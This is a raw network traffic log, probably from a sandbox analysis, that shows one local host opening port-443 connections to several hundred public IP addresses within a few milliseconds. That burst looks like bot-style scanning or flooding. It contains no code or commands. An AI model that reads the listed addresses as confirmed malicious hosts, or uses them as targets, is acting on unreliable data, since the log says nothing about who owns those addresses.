Oct 17, 2024 02:19:41.133325100 CEST	20641	443	192.168.2.14	79.20.175.242
Oct 17, 2024 02:19:41.133327007 CEST	20641	443	192.168.2.14	118.175.226.157
Oct 17, 2024 02:19:41.133358955 CEST	20641	443	192.168.2.14	212.31.221.67
Oct 17, 2024 02:19:41.133364916 CEST	20641	443	192.168.2.14	117.15.221.125
Oct 17, 2024 02:19:41.133374929 CEST	20641	443	192.168.2.14	42.83.171.236
Oct 17, 2024 02:19:41.133390903 CEST	20641	443	192.168.2.14	123.199.60.14
Oct 17, 2024 02:19:41.133394003 CEST	20641	443	192.168.2.14	118.12.182.118
Oct 17, 2024 02:19:41.133395910 CEST	20641	443	192.168.2.14	212.248.37.61
Oct 17, 2024 02:19:41.133408070 CEST	20641	443	192.168.2.14	148.29.57.110
Oct 17, 2024 02:19:41.133409023 CEST	20641	443	192.168.2.14	117.163.199.157
Oct 17, 2024 02:19:41.133409023 CEST	20641	443	192.168.2.14	123.17.255.252
Oct 17, 2024 02:19:41.133439064 CEST	20641	443	192.168.2.14	123.116.98.7
Oct 17, 2024 02:19:41.133439064 CEST	20641	443	192.168.2.14	42.33.43.131
Oct 17, 2024 02:19:41.133441925 CEST	20641	443	192.168.2.14	117.119.204.42
Oct 17, 2024 02:19:41.133451939 CEST	20641	443	192.168.2.14	42.239.110.112
Oct 17, 2024 02:19:41.133457899 CEST	20641	443	192.168.2.14	109.188.148.205
Oct 17, 2024 02:19:41.133470058 CEST	20641	443	192.168.2.14	2.105.132.197
Oct 17, 2024 02:19:41.133491993 CEST	20641	443	192.168.2.14	2.234.71.95
Oct 17, 2024 02:19:41.133518934 CEST	20641	443	192.168.2.14	210.212.44.233
Oct 17, 2024 02:19:41.133518934 CEST	20641	443	192.168.2.14	210.229.39.58
Oct 17, 2024 02:19:41.133565903 CEST	20641	443	192.168.2.14	2.238.211.203
Oct 17, 2024 02:19:41.133573055 CEST	20641	443	192.168.2.14	37.194.115.108
Oct 17, 2024 02:19:41.133573055 CEST	20641	443	192.168.2.14	79.131.226.107
Oct 17, 2024 02:19:41.133573055 CEST	20641	443	192.168.2.14	79.227.83.170
Oct 17, 2024 02:19:41.133579016 CEST	20641	443	192.168.2.14	117.215.101.152
Oct 17, 2024 02:19:41.133579016 CEST	20641	443	192.168.2.14	178.117.98.169
Oct 17, 2024 02:19:41.133579016 CEST	20641	443	192.168.2.14	117.67.53.81
Oct 17, 2024 02:19:41.133579969 CEST	20641	443	192.168.2.14	202.132.22.188
Oct 17, 2024 02:19:41.133579969 CEST	20641	443	192.168.2.14	117.54.172.220
Oct 17, 2024 02:19:41.133580923 CEST	20641	443	192.168.2.14	109.80.100.73
Oct 17, 2024 02:19:41.133580923 CEST	20641	443	192.168.2.14	117.123.57.174
Oct 17, 2024 02:19:41.133582115 CEST	20641	443	192.168.2.14	202.178.7.59
Oct 17, 2024 02:19:41.133582115 CEST	20641	443	192.168.2.14	5.244.224.226
Oct 17, 2024 02:19:41.133583069 CEST	20641	443	192.168.2.14	210.220.238.144
Oct 17, 2024 02:19:41.133584023 CEST	20641	443	192.168.2.14	42.166.106.60
Oct 17, 2024 02:19:41.133591890 CEST	20641	443	192.168.2.14	118.130.179.211
Oct 17, 2024 02:19:41.133593082 CEST	20641	443	192.168.2.14	42.100.251.228
Oct 17, 2024 02:19:41.133598089 CEST	20641	443	192.168.2.14	117.122.4.175
Oct 17, 2024 02:19:41.133598089 CEST	20641	443	192.168.2.14	123.145.225.76
Oct 17, 2024 02:19:41.133599043 CEST	20641	443	192.168.2.14	123.59.45.112
Oct 17, 2024 02:19:41.133599997 CEST	20641	443	192.168.2.14	210.178.243.91
Oct 17, 2024 02:19:41.133599997 CEST	20641	443	192.168.2.14	79.150.160.69
Oct 17, 2024 02:19:41.133599997 CEST	20641	443	192.168.2.14	94.182.55.83
Oct 17, 2024 02:19:41.133601904 CEST	20641	443	192.168.2.14	118.95.50.249
Oct 17, 2024 02:19:41.133603096 CEST	20641	443	192.168.2.14	37.43.147.231
Oct 17, 2024 02:19:41.133604050 CEST	20641	443	192.168.2.14	212.82.114.30
Oct 17, 2024 02:19:41.133604050 CEST	20641	443	192.168.2.14	178.79.8.120
Oct 17, 2024 02:19:41.133613110 CEST	20641	443	192.168.2.14	123.144.31.12
Oct 17, 2024 02:19:41.133613110 CEST	20641	443	192.168.2.14	118.138.69.196
Oct 17, 2024 02:19:41.133613110 CEST	20641	443	192.168.2.14	2.251.39.167
Oct 17, 2024 02:19:41.133613110 CEST	20641	443	192.168.2.14	212.121.34.178
Oct 17, 2024 02:19:41.133635998 CEST	20641	443	192.168.2.14	5.82.147.126
Oct 17, 2024 02:19:41.133640051 CEST	20641	443	192.168.2.14	37.28.138.57
Oct 17, 2024 02:19:41.133641005 CEST	20641	443	192.168.2.14	2.133.201.22
Oct 17, 2024 02:19:41.133641005 CEST	20641	443	192.168.2.14	212.127.25.178
Oct 17, 2024 02:19:41.133641005 CEST	20641	443	192.168.2.14	123.40.87.187
Oct 17, 2024 02:19:41.133650064 CEST	20641	443	192.168.2.14	178.68.130.196
Oct 17, 2024 02:19:41.133650064 CEST	20641	443	192.168.2.14	117.30.43.8
Oct 17, 2024 02:19:41.133661985 CEST	20641	443	192.168.2.14	42.243.193.236
Oct 17, 2024 02:19:41.133662939 CEST	20641	443	192.168.2.14	37.233.8.248
Oct 17, 2024 02:19:41.133662939 CEST	20641	443	192.168.2.14	212.84.183.83
Oct 17, 2024 02:19:41.133668900 CEST	20641	443	192.168.2.14	178.72.58.158
Oct 17, 2024 02:19:41.133702993 CEST	20641	443	192.168.2.14	202.138.121.56
Oct 17, 2024 02:19:41.133702993 CEST	20641	443	192.168.2.14	109.3.241.30
Oct 17, 2024 02:19:41.133706093 CEST	20641	443	192.168.2.14	109.133.58.215
Oct 17, 2024 02:19:41.133716106 CEST	20641	443	192.168.2.14	94.253.241.17
Oct 17, 2024 02:19:41.133716106 CEST	20641	443	192.168.2.14	123.95.199.231
Oct 17, 2024 02:19:41.133716106 CEST	20641	443	192.168.2.14	148.142.64.134
Oct 17, 2024 02:19:41.133718014 CEST	20641	443	192.168.2.14	2.37.56.25
Oct 17, 2024 02:19:41.133733988 CEST	20641	443	192.168.2.14	212.246.31.147
Oct 17, 2024 02:19:41.133738995 CEST	20641	443	192.168.2.14	123.168.181.86
Oct 17, 2024 02:19:41.133748055 CEST	20641	443	192.168.2.14	109.146.53.71
Oct 17, 2024 02:19:41.133748055 CEST	20641	443	192.168.2.14	109.150.146.247
Oct 17, 2024 02:19:41.133776903 CEST	20641	443	192.168.2.14	117.46.146.128
Oct 17, 2024 02:19:41.133785009 CEST	20641	443	192.168.2.14	178.158.166.39
Oct 17, 2024 02:19:41.133785009 CEST	20641	443	192.168.2.14	2.191.247.142
Oct 17, 2024 02:19:41.133805990 CEST	20641	443	192.168.2.14	94.95.166.121
Oct 17, 2024 02:19:41.133811951 CEST	20641	443	192.168.2.14	109.238.184.243
Oct 17, 2024 02:19:41.133811951 CEST	20641	443	192.168.2.14	94.122.58.93
Oct 17, 2024 02:19:41.133817911 CEST	20641	443	192.168.2.14	109.114.52.92
Oct 17, 2024 02:19:41.133829117 CEST	20641	443	192.168.2.14	117.253.231.148
Oct 17, 2024 02:19:41.133833885 CEST	20641	443	192.168.2.14	94.76.99.246
Oct 17, 2024 02:19:41.133852005 CEST	20641	443	192.168.2.14	42.139.72.2
Oct 17, 2024 02:19:41.133868933 CEST	20641	443	192.168.2.14	2.8.106.190
Oct 17, 2024 02:19:41.133873940 CEST	20641	443	192.168.2.14	148.119.94.176
Oct 17, 2024 02:19:41.133878946 CEST	20641	443	192.168.2.14	178.0.207.60
Oct 17, 2024 02:19:41.133881092 CEST	20641	443	192.168.2.14	5.191.65.206
Oct 17, 2024 02:19:41.133887053 CEST	20641	443	192.168.2.14	178.252.136.37
Oct 17, 2024 02:19:41.133897066 CEST	20641	443	192.168.2.14	2.133.68.93
Oct 17, 2024 02:19:41.133899927 CEST	20641	443	192.168.2.14	202.204.12.80
Oct 17, 2024 02:19:41.133904934 CEST	20641	443	192.168.2.14	123.252.142.122
Oct 17, 2024 02:19:41.133913040 CEST	20641	443	192.168.2.14	42.25.39.68
Oct 17, 2024 02:19:41.133948088 CEST	20641	443	192.168.2.14	5.63.107.172
Oct 17, 2024 02:19:41.133948088 CEST	20641	443	192.168.2.14	79.145.230.106
Oct 17, 2024 02:19:41.133963108 CEST	20641	443	192.168.2.14	210.250.141.83
Oct 17, 2024 02:19:41.133976936 CEST	20641	443	192.168.2.14	37.139.98.190
Oct 17, 2024 02:19:41.133980036 CEST	20641	443	192.168.2.14	123.130.112.129
Oct 17, 2024 02:19:41.133980989 CEST	20641	443	192.168.2.14	5.134.162.75
Oct 17, 2024 02:19:41.133980989 CEST	20641	443	192.168.2.14	117.7.97.32
Oct 17, 2024 02:19:41.133987904 CEST	20641	443	192.168.2.14	79.173.243.46
Oct 17, 2024 02:19:41.133994102 CEST	20641	443	192.168.2.14	79.228.52.164
Oct 17, 2024 02:19:41.134000063 CEST	20641	443	192.168.2.14	109.0.10.50
Oct 17, 2024 02:19:41.134030104 CEST	20641	443	192.168.2.14	118.6.122.48
Oct 17, 2024 02:19:41.134037971 CEST	20641	443	192.168.2.14	202.80.159.115
Oct 17, 2024 02:19:41.134043932 CEST	20641	443	192.168.2.14	42.155.175.97
Oct 17, 2024 02:19:41.134046078 CEST	20641	443	192.168.2.14	118.130.67.136
Oct 17, 2024 02:19:41.134047031 CEST	20641	443	192.168.2.14	148.84.230.247
Oct 17, 2024 02:19:41.134052992 CEST	20641	443	192.168.2.14	79.66.96.102
Oct 17, 2024 02:19:41.134082079 CEST	20641	443	192.168.2.14	79.18.206.40
Oct 17, 2024 02:19:41.134083033 CEST	20641	443	192.168.2.14	2.10.215.247
Oct 17, 2024 02:19:41.134083986 CEST	20641	443	192.168.2.14	202.18.182.57
Oct 17, 2024 02:19:41.134097099 CEST	20641	443	192.168.2.14	118.127.73.28
Oct 17, 2024 02:19:41.134114027 CEST	20641	443	192.168.2.14	79.162.234.127
Oct 17, 2024 02:19:41.134121895 CEST	20641	443	192.168.2.14	117.57.91.168
Oct 17, 2024 02:19:41.134121895 CEST	20641	443	192.168.2.14	2.16.23.102
Oct 17, 2024 02:19:41.134123087 CEST	20641	443	192.168.2.14	2.82.192.167
Oct 17, 2024 02:19:41.134123087 CEST	20641	443	192.168.2.14	94.14.32.127
Oct 17, 2024 02:19:41.134128094 CEST	20641	443	192.168.2.14	2.125.223.248
Oct 17, 2024 02:19:41.134136915 CEST	20641	443	192.168.2.14	178.42.78.37
Oct 17, 2024 02:19:41.134144068 CEST	20641	443	192.168.2.14	42.165.45.136
Oct 17, 2024 02:19:41.134145021 CEST	20641	443	192.168.2.14	210.123.237.153
Oct 17, 2024 02:19:41.134150028 CEST	20641	443	192.168.2.14	210.58.152.14
Oct 17, 2024 02:19:41.134150028 CEST	20641	443	192.168.2.14	42.211.251.7
Oct 17, 2024 02:19:41.134177923 CEST	20641	443	192.168.2.14	2.47.85.253
Oct 17, 2024 02:19:41.134187937 CEST	20641	443	192.168.2.14	5.187.12.226
Oct 17, 2024 02:19:41.134190083 CEST	20641	443	192.168.2.14	212.205.220.36
Oct 17, 2024 02:19:41.134190083 CEST	20641	443	192.168.2.14	79.53.1.239
Oct 17, 2024 02:19:41.134202957 CEST	20641	443	192.168.2.14	178.205.131.74
Oct 17, 2024 02:19:41.134221077 CEST	20641	443	192.168.2.14	37.137.88.20
Oct 17, 2024 02:19:41.134224892 CEST	20641	443	192.168.2.14	42.91.47.12
Oct 17, 2024 02:19:41.134233952 CEST	20641	443	192.168.2.14	5.68.176.218
Oct 17, 2024 02:19:41.134251118 CEST	20641	443	192.168.2.14	118.139.252.213
Oct 17, 2024 02:19:41.134253025 CEST	20641	443	192.168.2.14	148.20.167.1
Oct 17, 2024 02:19:41.134253979 CEST	20641	443	192.168.2.14	202.19.139.137
Oct 17, 2024 02:19:41.134253979 CEST	20641	443	192.168.2.14	42.169.116.5
Oct 17, 2024 02:19:41.134253979 CEST	20641	443	192.168.2.14	118.178.215.150
Oct 17, 2024 02:19:41.134284019 CEST	20641	443	192.168.2.14	5.183.110.186
Oct 17, 2024 02:19:41.134284973 CEST	20641	443	192.168.2.14	178.194.215.124
Oct 17, 2024 02:19:41.134293079 CEST	20641	443	192.168.2.14	123.125.169.80
Oct 17, 2024 02:19:41.134310007 CEST	20641	443	192.168.2.14	42.158.208.196
Oct 17, 2024 02:19:41.134310961 CEST	20641	443	192.168.2.14	148.15.124.33
Oct 17, 2024 02:19:41.134310961 CEST	20641	443	192.168.2.14	2.206.131.50
Oct 17, 2024 02:19:41.134314060 CEST	20641	443	192.168.2.14	79.221.11.166
Oct 17, 2024 02:19:41.134321928 CEST	20641	443	192.168.2.14	37.62.109.238
Oct 17, 2024 02:19:41.134321928 CEST	20641	443	192.168.2.14	2.203.58.59
Oct 17, 2024 02:19:41.134324074 CEST	20641	443	192.168.2.14	94.54.115.199
Oct 17, 2024 02:19:41.134335995 CEST	20641	443	192.168.2.14	37.235.217.188
Oct 17, 2024 02:19:41.134345055 CEST	20641	443	192.168.2.14	123.145.159.3
Oct 17, 2024 02:19:41.134345055 CEST	20641	443	192.168.2.14	2.20.74.1
Oct 17, 2024 02:19:41.134356022 CEST	20641	443	192.168.2.14	123.175.10.130
Oct 17, 2024 02:19:41.134358883 CEST	20641	443	192.168.2.14	123.215.69.55
Oct 17, 2024 02:19:41.134368896 CEST	20641	443	192.168.2.14	202.80.177.214
Oct 17, 2024 02:19:41.134373903 CEST	20641	443	192.168.2.14	123.184.9.101
Oct 17, 2024 02:19:41.134394884 CEST	20641	443	192.168.2.14	148.220.79.145
Oct 17, 2024 02:19:41.134397030 CEST	20641	443	192.168.2.14	79.130.198.163
Oct 17, 2024 02:19:41.134397030 CEST	20641	443	192.168.2.14	79.137.28.53
Oct 17, 2024 02:19:41.134397984 CEST	20641	443	192.168.2.14	212.70.48.134
Oct 17, 2024 02:19:41.134404898 CEST	20641	443	192.168.2.14	79.175.29.96
Oct 17, 2024 02:19:41.134407043 CEST	20641	443	192.168.2.14	123.208.71.196
Oct 17, 2024 02:19:41.134422064 CEST	20641	443	192.168.2.14	123.73.121.133
Oct 17, 2024 02:19:41.134423018 CEST	20641	443	192.168.2.14	123.142.202.20
Oct 17, 2024 02:19:41.134427071 CEST	20641	443	192.168.2.14	178.86.13.124
Oct 17, 2024 02:19:41.134433031 CEST	20641	443	192.168.2.14	178.145.234.137
Oct 17, 2024 02:19:41.134438992 CEST	20641	443	192.168.2.14	178.49.61.137
Oct 17, 2024 02:19:41.134440899 CEST	20641	443	192.168.2.14	123.32.79.90
Oct 17, 2024 02:19:41.134458065 CEST	20641	443	192.168.2.14	109.237.9.254
Oct 17, 2024 02:19:41.134464979 CEST	20641	443	192.168.2.14	148.141.138.176
Oct 17, 2024 02:19:41.134479046 CEST	20641	443	192.168.2.14	109.168.110.53
Oct 17, 2024 02:19:41.134479046 CEST	20641	443	192.168.2.14	5.191.40.63
Oct 17, 2024 02:19:41.134479046 CEST	20641	443	192.168.2.14	2.201.176.186
Oct 17, 2024 02:19:41.134480953 CEST	20641	443	192.168.2.14	2.72.175.134
Oct 17, 2024 02:19:41.134490013 CEST	20641	443	192.168.2.14	37.69.166.134
Oct 17, 2024 02:19:41.134509087 CEST	20641	443	192.168.2.14	94.210.105.120
Oct 17, 2024 02:19:41.134527922 CEST	20641	443	192.168.2.14	118.36.132.120
Oct 17, 2024 02:19:41.134529114 CEST	20641	443	192.168.2.14	118.79.37.14
Oct 17, 2024 02:19:41.134531021 CEST	20641	443	192.168.2.14	37.30.72.11
Oct 17, 2024 02:19:41.134531021 CEST	20641	443	192.168.2.14	37.25.209.175
Oct 17, 2024 02:19:41.134551048 CEST	20641	443	192.168.2.14	123.250.198.100
Oct 17, 2024 02:19:41.134551048 CEST	20641	443	192.168.2.14	117.35.129.85
Oct 17, 2024 02:19:41.134552956 CEST	20641	443	192.168.2.14	117.73.163.37
Oct 17, 2024 02:19:41.134558916 CEST	20641	443	192.168.2.14	148.42.190.28
Oct 17, 2024 02:19:41.134563923 CEST	20641	443	192.168.2.14	2.70.85.214
Oct 17, 2024 02:19:41.134586096 CEST	20641	443	192.168.2.14	210.253.238.241
Oct 17, 2024 02:19:41.134597063 CEST	20641	443	192.168.2.14	118.59.226.104
Oct 17, 2024 02:19:41.134602070 CEST	20641	443	192.168.2.14	118.189.209.70
Oct 17, 2024 02:19:41.134602070 CEST	20641	443	192.168.2.14	5.66.47.173
Oct 17, 2024 02:19:41.134612083 CEST	20641	443	192.168.2.14	123.181.177.92
Oct 17, 2024 02:19:41.134620905 CEST	20641	443	192.168.2.14	118.11.86.27
Oct 17, 2024 02:19:41.134630919 CEST	20641	443	192.168.2.14	210.167.203.134
Oct 17, 2024 02:19:41.134639025 CEST	20641	443	192.168.2.14	210.6.186.170
Oct 17, 2024 02:19:41.134644985 CEST	20641	443	192.168.2.14	5.16.155.128
Oct 17, 2024 02:19:41.134644985 CEST	20641	443	192.168.2.14	37.93.196.245
Oct 17, 2024 02:19:41.134646893 CEST	20641	443	192.168.2.14	94.239.148.42
Oct 17, 2024 02:19:41.134671926 CEST	20641	443	192.168.2.14	118.137.126.52
Oct 17, 2024 02:19:41.134682894 CEST	20641	443	192.168.2.14	210.0.170.246
Oct 17, 2024 02:19:41.134682894 CEST	20641	443	192.168.2.14	109.175.168.103
Oct 17, 2024 02:19:41.134699106 CEST	20641	443	192.168.2.14	94.88.221.15
Oct 17, 2024 02:19:41.134701967 CEST	20641	443	192.168.2.14	94.114.69.76
Oct 17, 2024 02:19:41.134701967 CEST	20641	443	192.168.2.14	148.225.51.130
Oct 17, 2024 02:19:41.134701967 CEST	20641	443	192.168.2.14	118.42.227.57
Oct 17, 2024 02:19:41.134718895 CEST	20641	443	192.168.2.14	42.195.177.4
Oct 17, 2024 02:19:41.134723902 CEST	20641	443	192.168.2.14	210.80.148.196
Oct 17, 2024 02:19:41.134753942 CEST	20641	443	192.168.2.14	210.225.87.227
Oct 17, 2024 02:19:41.134753942 CEST	20641	443	192.168.2.14	212.156.88.201
Oct 17, 2024 02:19:41.134758949 CEST	20641	443	192.168.2.14	123.32.32.91
Oct 17, 2024 02:19:41.134759903 CEST	20641	443	192.168.2.14	94.130.192.44
Oct 17, 2024 02:19:41.134769917 CEST	20641	443	192.168.2.14	123.148.213.90
Oct 17, 2024 02:19:41.134777069 CEST	20641	443	192.168.2.14	117.104.156.173
Oct 17, 2024 02:19:41.134777069 CEST	20641	443	192.168.2.14	212.231.63.0
Oct 17, 2024 02:19:41.134789944 CEST	20641	443	192.168.2.14	109.239.248.190
Oct 17, 2024 02:19:41.134797096 CEST	20641	443	192.168.2.14	148.9.124.203
Oct 17, 2024 02:19:41.134797096 CEST	20641	443	192.168.2.14	202.66.215.110
Oct 17, 2024 02:19:41.134800911 CEST	20641	443	192.168.2.14	79.120.174.128
Oct 17, 2024 02:19:41.134836912 CEST	20641	443	192.168.2.14	123.217.59.22
Oct 17, 2024 02:19:41.134851933 CEST	20641	443	192.168.2.14	5.198.225.147
Oct 17, 2024 02:19:41.134865046 CEST	20641	443	192.168.2.14	148.198.225.20
Oct 17, 2024 02:19:41.134871006 CEST	20641	443	192.168.2.14	42.149.237.219
Oct 17, 2024 02:19:41.134871006 CEST	20641	443	192.168.2.14	210.93.171.23
Oct 17, 2024 02:19:41.134872913 CEST	20641	443	192.168.2.14	109.52.48.178
Oct 17, 2024 02:19:41.134872913 CEST	20641	443	192.168.2.14	94.9.138.242
Oct 17, 2024 02:19:41.134876966 CEST	20641	443	192.168.2.14	37.199.216.212
Oct 17, 2024 02:19:41.134884119 CEST	20641	443	192.168.2.14	178.102.49.147
Oct 17, 2024 02:19:41.134884119 CEST	20641	443	192.168.2.14	2.240.6.37
Oct 17, 2024 02:19:41.134885073 CEST	20641	443	192.168.2.14	2.157.222.71
Oct 17, 2024 02:19:41.134913921 CEST	20641	443	192.168.2.14	202.146.92.85
Oct 17, 2024 02:19:41.134915113 CEST	20641	443	192.168.2.14	117.144.69.214
Oct 17, 2024 02:19:41.134927988 CEST	20641	443	192.168.2.14	178.208.230.207
Oct 17, 2024 02:19:41.134927988 CEST	20641	443	192.168.2.14	118.247.237.196
Oct 17, 2024 02:19:41.134929895 CEST	20641	443	192.168.2.14	2.242.78.179
Oct 17, 2024 02:19:41.134932041 CEST	20641	443	192.168.2.14	202.220.196.238
Oct 17, 2024 02:19:41.134932041 CEST	20641	443	192.168.2.14	202.0.217.205
Oct 17, 2024 02:19:41.134932995 CEST	20641	443	192.168.2.14	37.106.195.201
Oct 17, 2024 02:19:41.134936094 CEST	20641	443	192.168.2.14	178.40.93.94
Oct 17, 2024 02:19:41.134944916 CEST	20641	443	192.168.2.14	94.16.188.120
Oct 17, 2024 02:19:41.134954929 CEST	20641	443	192.168.2.14	94.125.173.80
Oct 17, 2024 02:19:41.134958982 CEST	20641	443	192.168.2.14	123.107.20.143
Oct 17, 2024 02:19:41.134958982 CEST	20641	443	192.168.2.14	109.181.231.171
Oct 17, 2024 02:19:41.134988070 CEST	20641	443	192.168.2.14	212.201.225.53
Oct 17, 2024 02:19:41.134995937 CEST	20641	443	192.168.2.14	178.64.206.169
Oct 17, 2024 02:19:41.134999990 CEST	20641	443	192.168.2.14	42.152.20.145
Oct 17, 2024 02:19:41.135000944 CEST	20641	443	192.168.2.14	210.103.237.64
Oct 17, 2024 02:19:41.135013103 CEST	20641	443	192.168.2.14	37.235.152.58
Oct 17, 2024 02:19:41.135016918 CEST	20641	443	192.168.2.14	37.132.105.206
Oct 17, 2024 02:19:41.135020971 CEST	20641	443	192.168.2.14	2.175.4.157
Oct 17, 2024 02:19:41.135035992 CEST	20641	443	192.168.2.14	123.188.233.76
Oct 17, 2024 02:19:41.135041952 CEST	20641	443	192.168.2.14	109.6.43.59
Oct 17, 2024 02:19:41.135044098 CEST	20641	443	192.168.2.14	202.215.150.191
Oct 17, 2024 02:19:41.135065079 CEST	20641	443	192.168.2.14	148.42.13.239
Oct 17, 2024 02:19:41.135066032 CEST	20641	443	192.168.2.14	2.196.220.214
Oct 17, 2024 02:19:41.135066032 CEST	20641	443	192.168.2.14	109.105.153.148
Oct 17, 2024 02:19:41.135067940 CEST	20641	443	192.168.2.14	148.220.95.2
Oct 17, 2024 02:19:41.135085106 CEST	20641	443	192.168.2.14	123.78.180.52
Oct 17, 2024 02:19:41.135085106 CEST	20641	443	192.168.2.14	210.11.203.134
Oct 17, 2024 02:19:41.135087967 CEST	20641	443	192.168.2.14	2.67.86.246
Oct 17, 2024 02:19:41.135092974 CEST	20641	443	192.168.2.14	202.1.41.172
Oct 17, 2024 02:19:41.135098934 CEST	20641	443	192.168.2.14	118.195.46.215
Oct 17, 2024 02:19:41.135098934 CEST	20641	443	192.168.2.14	42.189.57.125
Oct 17, 2024 02:19:41.135114908 CEST	20641	443	192.168.2.14	210.173.130.157
Oct 17, 2024 02:19:41.135126114 CEST	20641	443	192.168.2.14	109.228.79.175
Oct 17, 2024 02:19:41.135149002 CEST	20641	443	192.168.2.14	202.11.84.179
Oct 17, 2024 02:19:41.135155916 CEST	20641	443	192.168.2.14	210.173.180.23
Oct 17, 2024 02:19:41.135159969 CEST	20641	443	192.168.2.14	118.216.10.149
Oct 17, 2024 02:19:41.135159969 CEST	20641	443	192.168.2.14	123.120.65.150
Oct 17, 2024 02:19:41.135159969 CEST	20641	443	192.168.2.14	202.179.75.77
Oct 17, 2024 02:19:41.135169029 CEST	20641	443	192.168.2.14	202.80.141.150
Oct 17, 2024 02:19:41.135170937 CEST	20641	443	192.168.2.14	109.248.151.52
Oct 17, 2024 02:19:41.135179996 CEST	20641	443	192.168.2.14	202.151.49.69
Oct 17, 2024 02:19:41.135185003 CEST	20641	443	192.168.2.14	79.196.152.67
Oct 17, 2024 02:19:41.135202885 CEST	20641	443	192.168.2.14	2.13.137.109
Oct 17, 2024 02:19:41.135202885 CEST	20641	443	192.168.2.14	79.123.140.53
Oct 17, 2024 02:19:41.135206938 CEST	20641	443	192.168.2.14	109.0.72.131
Oct 17, 2024 02:19:41.135232925 CEST	20641	443	192.168.2.14	212.213.149.243
Oct 17, 2024 02:19:41.135235071 CEST	20641	443	192.168.2.14	148.100.206.169
Oct 17, 2024 02:19:41.135245085 CEST	20641	443	192.168.2.14	148.8.175.48
Oct 17, 2024 02:19:41.135273933 CEST	20641	443	192.168.2.14	5.171.103.101
Oct 17, 2024 02:19:41.135281086 CEST	20641	443	192.168.2.14	5.33.41.64
Oct 17, 2024 02:19:41.135281086 CEST	20641	443	192.168.2.14	117.238.102.181
Oct 17, 2024 02:19:41.135284901 CEST	20641	443	192.168.2.14	37.198.62.190
Oct 17, 2024 02:19:41.135284901 CEST	20641	443	192.168.2.14	212.63.225.48
Oct 17, 2024 02:19:41.135284901 CEST	20641	443	192.168.2.14	42.91.108.79
Oct 17, 2024 02:19:41.135284901 CEST	20641	443	192.168.2.14	212.0.12.109
Oct 17, 2024 02:19:41.135284901 CEST	20641	443	192.168.2.14	123.42.42.45
Oct 17, 2024 02:19:41.135288000 CEST	20641	443	192.168.2.14	178.167.170.154
Oct 17, 2024 02:19:41.135317087 CEST	20641	443	192.168.2.14	37.165.170.248
Oct 17, 2024 02:19:41.135325909 CEST	20641	443	192.168.2.14	79.165.78.149
Oct 17, 2024 02:19:41.135329962 CEST	20641	443	192.168.2.14	117.173.78.189
Oct 17, 2024 02:19:41.135339022 CEST	20641	443	192.168.2.14	79.117.173.108
Oct 17, 2024 02:19:41.135343075 CEST	20641	443	192.168.2.14	123.26.194.136
Oct 17, 2024 02:19:41.135344028 CEST	20641	443	192.168.2.14	202.150.61.180
Oct 17, 2024 02:19:41.135355949 CEST	20641	443	192.168.2.14	94.68.139.111
Oct 17, 2024 02:19:41.135356903 CEST	20641	443	192.168.2.14	123.167.184.223
Oct 17, 2024 02:19:41.135370016 CEST	20641	443	192.168.2.14	109.3.133.223
Oct 17, 2024 02:19:41.135375023 CEST	20641	443	192.168.2.14	5.67.59.47
Oct 17, 2024 02:19:41.135402918 CEST	20641	443	192.168.2.14	123.143.47.134
Oct 17, 2024 02:19:41.135404110 CEST	20641	443	192.168.2.14	117.163.119.207
Oct 17, 2024 02:19:41.135404110 CEST	20641	443	192.168.2.14	210.150.110.29
Oct 17, 2024 02:19:41.135413885 CEST	20641	443	192.168.2.14	2.12.133.65
Oct 17, 2024 02:19:41.135415077 CEST	20641	443	192.168.2.14	212.198.57.173
Oct 17, 2024 02:19:41.135426044 CEST	20641	443	192.168.2.14	94.94.213.245
Oct 17, 2024 02:19:41.135427952 CEST	20641	443	192.168.2.14	5.172.127.1
Oct 17, 2024 02:19:41.135452986 CEST	20641	443	192.168.2.14	202.10.124.186
Oct 17, 2024 02:19:41.135458946 CEST	20641	443	192.168.2.14	202.62.231.102
Oct 17, 2024 02:19:41.135473013 CEST	20641	443	192.168.2.14	2.75.101.246
Oct 17, 2024 02:19:41.135481119 CEST	20641	443	192.168.2.14	117.59.212.189
Oct 17, 2024 02:19:41.135488033 CEST	20641	443	192.168.2.14	109.6.161.189
Oct 17, 2024 02:19:41.135488033 CEST	20641	443	192.168.2.14	210.13.104.95
Oct 17, 2024 02:19:41.135505915 CEST	20641	443	192.168.2.14	212.218.140.41
Oct 17, 2024 02:19:41.135524988 CEST	20641	443	192.168.2.14	212.132.215.230
Oct 17, 2024 02:19:41.135543108 CEST	20641	443	192.168.2.14	123.30.81.181
Oct 17, 2024 02:19:41.135545969 CEST	20641	443	192.168.2.14	79.184.249.43
Oct 17, 2024 02:19:41.135561943 CEST	20641	443	192.168.2.14	109.248.49.249
Oct 17, 2024 02:19:41.135569096 CEST	20641	443	192.168.2.14	148.54.113.20
Oct 17, 2024 02:19:41.135569096 CEST	20641	443	192.168.2.14	42.107.158.112
Oct 17, 2024 02:19:41.135570049 CEST	20641	443	192.168.2.14	148.31.137.116
Oct 17, 2024 02:19:41.135580063 CEST	20641	443	192.168.2.14	178.1.127.142
Oct 17, 2024 02:19:41.135585070 CEST	20641	443	192.168.2.14	5.30.206.120
Oct 17, 2024 02:19:41.135585070 CEST	20641	443	192.168.2.14	123.11.187.207
Oct 17, 2024 02:19:41.135601997 CEST	20641	443	192.168.2.14	5.219.195.89
Oct 17, 2024 02:19:41.135611057 CEST	20641	443	192.168.2.14	212.248.81.219
Oct 17, 2024 02:19:41.135643005 CEST	20641	443	192.168.2.14	109.237.3.218
Oct 17, 2024 02:19:41.135643959 CEST	20641	443	192.168.2.14	212.158.99.82
Oct 17, 2024 02:19:41.135644913 CEST	20641	443	192.168.2.14	118.203.3.184
Oct 17, 2024 02:19:41.135644913 CEST	20641	443	192.168.2.14	42.185.149.75
Oct 17, 2024 02:19:41.135644913 CEST	20641	443	192.168.2.14	210.183.187.188
Oct 17, 2024 02:19:41.135646105 CEST	20641	443	192.168.2.14	212.169.91.40
Oct 17, 2024 02:19:41.135646105 CEST	20641	443	192.168.2.14	210.202.159.156
Oct 17, 2024 02:19:41.135648012 CEST	20641	443	192.168.2.14	123.198.88.30
Oct 17, 2024 02:19:41.135654926 CEST	20641	443	192.168.2.14	118.170.18.163
Oct 17, 2024 02:19:41.135654926 CEST	20641	443	192.168.2.14	118.213.97.39
Oct 17, 2024 02:19:41.135654926 CEST	20641	443	192.168.2.14	212.34.172.12
Oct 17, 2024 02:19:41.135669947 CEST	20641	443	192.168.2.14	42.136.204.122
Oct 17, 2024 02:19:41.135673046 CEST	20641	443	192.168.2.14	94.83.70.91
Oct 17, 2024 02:19:41.135682106 CEST	20641	443	192.168.2.14	118.5.170.249
